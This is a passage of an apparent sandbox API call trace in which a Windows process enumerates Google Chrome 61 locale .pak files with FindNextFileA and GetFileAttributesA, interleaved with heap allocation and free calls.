ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b5f7d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45594, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="pt-BR.pak", cAlternateFileName="")) returned 1 [0219.378] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b61ee4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46a8f, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="pt-PT.pak", cAlternateFileName="")) returned 1 [0219.378] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b69414, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47fd2, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ro.pak", cAlternateFileName="")) returned 1 [0219.378] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c78404, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x70754, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ru.pak", cAlternateFileName="")) returned 1 [0219.378] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51c7f934, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4a4e2, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="sk.pak", cAlternateFileName="")) returned 1 [0219.379] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51cc6604, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x42fc9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="sl.pak", cAlternateFileName="")) returned 1 [0219.379] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d0abc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6b5a7, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="sr.pak", cAlternateFileName="")) returned 1 [0219.379] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d16f14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40eb3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="sv.pak", cAlternateFileName="")) returned 1 [0219.379] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d25974, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3c37e, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="sw.pak", cAlternateFileName="")) returned 1 [0219.379] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d391f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0xa8772, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="ta.pak", cAlternateFileName="")) returned 1 [0219.379] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d3e014, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x9c965, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="te.pak", cAlternateFileName="")) returned 1 [0219.379] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45fabb3, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45fabb3, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d51894, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x8cbb3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="th.pak", cAlternateFileName="")) returned 1 [0219.380] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d566b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x45f47, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="tr.pak", cAlternateFileName="")) returned 1 [0219.380] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d602f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6fff3, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="uk.pak", cAlternateFileName="")) returned 1 [0219.380] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51d76284, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x5116b, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="vi.pak", cAlternateFileName="")) returned 1 [0219.380] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51dae4f4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3ae08, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="zh-CN.pak", cAlternateFileName="")) returned 1 [0219.380] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51db8134, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af8c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 1 [0219.380] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4620dd7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51db8134, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af8c, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 0 [0219.381] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0219.381] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\am.pak")) returned 0x20 [0219.407] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0219.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0219.407] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ar.pak")) returned 0x20 [0219.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0219.408] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bg.pak")) returned 0x20 [0219.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0219.408] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\bn.pak")) returned 0x20 [0219.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0219.409] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ca.pak")) returned 0x20 [0219.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0219.409] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812a0, Size=0x20) returned 0x3733e18 [0219.409] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak")) returned 0x20 [0219.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0219.410] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak")) returned 0x20 [0219.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0219.411] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak")) returned 0x20 [0219.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0219.411] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak")) returned 0x20 [0219.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0219.411] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3733e18, Size=0x40) returned 0x3887770 [0219.411] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak")) returned 0x20 [0219.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0219.412] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak")) returned 0x20 [0219.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0219.413] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak")) returned 0x20 [0219.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0219.413] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es.pak")) returned 0x20 [0219.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0219.414] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\et.pak")) returned 0x20 [0219.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0219.414] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fa.pak")) returned 0x20 [0219.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0219.415] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fi.pak")) returned 0x20 [0219.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a27d0 | out: hHeap=0x2ad0000) returned 1 [0219.415] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fil.pak")) returned 0x20 [0219.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0219.415] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887770, Size=0x64) returned 0x2a19658 [0219.416] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\fr.pak")) returned 0x20 [0219.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0219.416] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\gu.pak")) returned 0x20 [0219.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0219.417] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\he.pak")) returned 0x20 [0219.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0219.417] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hi.pak")) returned 0x20 [0219.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0219.418] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hr.pak")) returned 0x20 [0219.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0219.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\hu.pak")) returned 0x20 [0219.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0219.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\id.pak")) returned 0x20 [0219.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0219.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\it.pak")) returned 0x20 [0219.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0219.421] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ja.pak")) returned 0x20 [0219.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0219.421] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac0ca0 [0219.421] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak")) returned 0x20 [0219.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0219.421] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak")) returned 0x20 [0219.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0219.422] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak")) returned 0x20 [0219.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0219.423] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak")) returned 0x20 [0219.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0219.423] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ml.pak")) returned 0x20 [0219.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0219.424] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\mr.pak")) returned 0x20 [0219.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0219.425] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ms.pak")) returned 0x20 [0219.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0219.425] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nb.pak")) returned 0x20 [0219.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0219.426] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\nl.pak")) returned 0x20 [0219.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0219.426] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pl.pak")) returned 0x20 [0219.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0219.446] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x325f830 [0219.446] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-br.pak")) returned 0x20 [0219.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0219.446] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\pt-pt.pak")) returned 0x20 [0219.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0219.447] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ro.pak")) returned 0x20 [0219.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0219.447] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ru.pak")) returned 0x20 [0219.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0219.448] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sk.pak")) returned 0x20 [0219.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0219.448] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sl.pak")) returned 0x20 [0219.449] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0219.449] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sr.pak")) returned 0x20 [0219.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0219.453] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sv.pak")) returned 0x20 [0219.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0219.454] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\sw.pak")) returned 0x20 [0219.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 